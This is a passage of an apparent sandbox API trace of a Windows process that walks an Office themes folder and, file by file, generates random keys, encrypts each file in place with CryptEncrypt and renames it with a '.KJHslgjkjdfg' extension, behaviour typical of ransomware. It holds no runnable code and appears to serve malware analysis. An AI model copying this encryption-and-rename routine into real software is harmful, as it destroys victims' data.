[0147.704] CloseHandle (hObject=0x118) returned 1 [0147.704] GetProcessHeap () returned 0x2a0000 [0147.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.704] GetProcessHeap () returned 0x2a0000 [0147.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.704] GetProcessHeap () returned 0x2a0000 [0147.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.704] GetProcessHeap () returned 0x2a0000 [0147.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.705] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.705] GetProcessHeap () returned 0x2a0000 [0147.705] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.705] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0147.705] GetProcessHeap () returned 0x2a0000 [0147.705] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0147.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.706] GetProcessHeap () returned 0x2a0000 [0147.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.706] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.706] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.706] GetProcessHeap () returned 0x2a0000 [0147.706] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0147.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.707] GetProcessHeap () returned 0x2a0000 [0147.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.707] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.707] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.707] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0147.710] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.710] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.710] GetProcessHeap () returned 0x2a0000 [0147.710] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.710] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.710] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.710] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.710] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.710] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.711] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.711] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.711] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.711] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.711] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.711] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.711] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x682, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x682, lpOverlapped=0x0) returned 1 [0147.711] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x690, dwBufLen=0x690 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x690) returned 1 [0147.711] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.711] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x690, lpOverlapped=0x0) returned 1 [0147.711] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.711] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.711] SetEndOfFile (hFile=0x118) returned 1 [0147.714] GetProcessHeap () returned 0x2a0000 [0147.714] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.714] GetProcessHeap () returned 0x2a0000 [0147.714] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.715] CloseHandle (hObject=0x118) returned 1 [0147.715] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0147.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.715] GetProcessHeap () returned 0x2a0000 [0147.715] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.715] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.715] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.716] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0147.717] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.717] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.717] GetProcessHeap () returned 0x2a0000 [0147.717] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.718] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.718] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.718] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.718] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.718] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.718] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.718] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.718] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.718] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.718] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.718] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.718] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb75e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xb75e, lpOverlapped=0x0) returned 1 [0147.719] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb760, dwBufLen=0xb760 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb760) returned 1 [0147.720] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.720] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xb760, lpOverlapped=0x0) returned 1 [0147.721] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.721] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.721] SetEndOfFile (hFile=0x118) returned 1 [0147.723] GetProcessHeap () returned 0x2a0000 [0147.723] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.723] GetProcessHeap () returned 0x2a0000 [0147.723] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.kjhslgjkjdfg")) returned 1 [0147.726] CloseHandle (hObject=0x118) returned 1 [0147.726] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0147.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.727] GetProcessHeap () returned 0x2a0000 [0147.727] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.727] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.727] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.727] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0147.729] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.729] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.729] GetProcessHeap () returned 0x2a0000 [0147.729] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.729] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.729] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.729] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.729] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.729] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.729] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.729] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.729] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.729] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.729] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.730] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.730] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x24a, lpOverlapped=0x0) returned 1 [0147.730] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250, dwBufLen=0x250 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250) returned 1 [0147.730] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.730] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x250, lpOverlapped=0x0) returned 1 [0147.730] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.730] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.730] SetEndOfFile (hFile=0x118) returned 1 [0147.732] GetProcessHeap () returned 0x2a0000 [0147.732] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.732] GetProcessHeap () returned 0x2a0000 [0147.732] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.kjhslgjkjdfg")) returned 1 [0147.736] CloseHandle (hObject=0x118) returned 1 [0147.736] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.737] GetProcessHeap () returned 0x2a0000 [0147.737] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.737] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.737] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.737] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0147.738] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.739] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.739] GetProcessHeap () returned 0x2a0000 [0147.739] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.739] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.739] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.739] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.739] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.739] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.739] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.739] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.739] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.739] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.739] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.739] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.739] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4c6b, 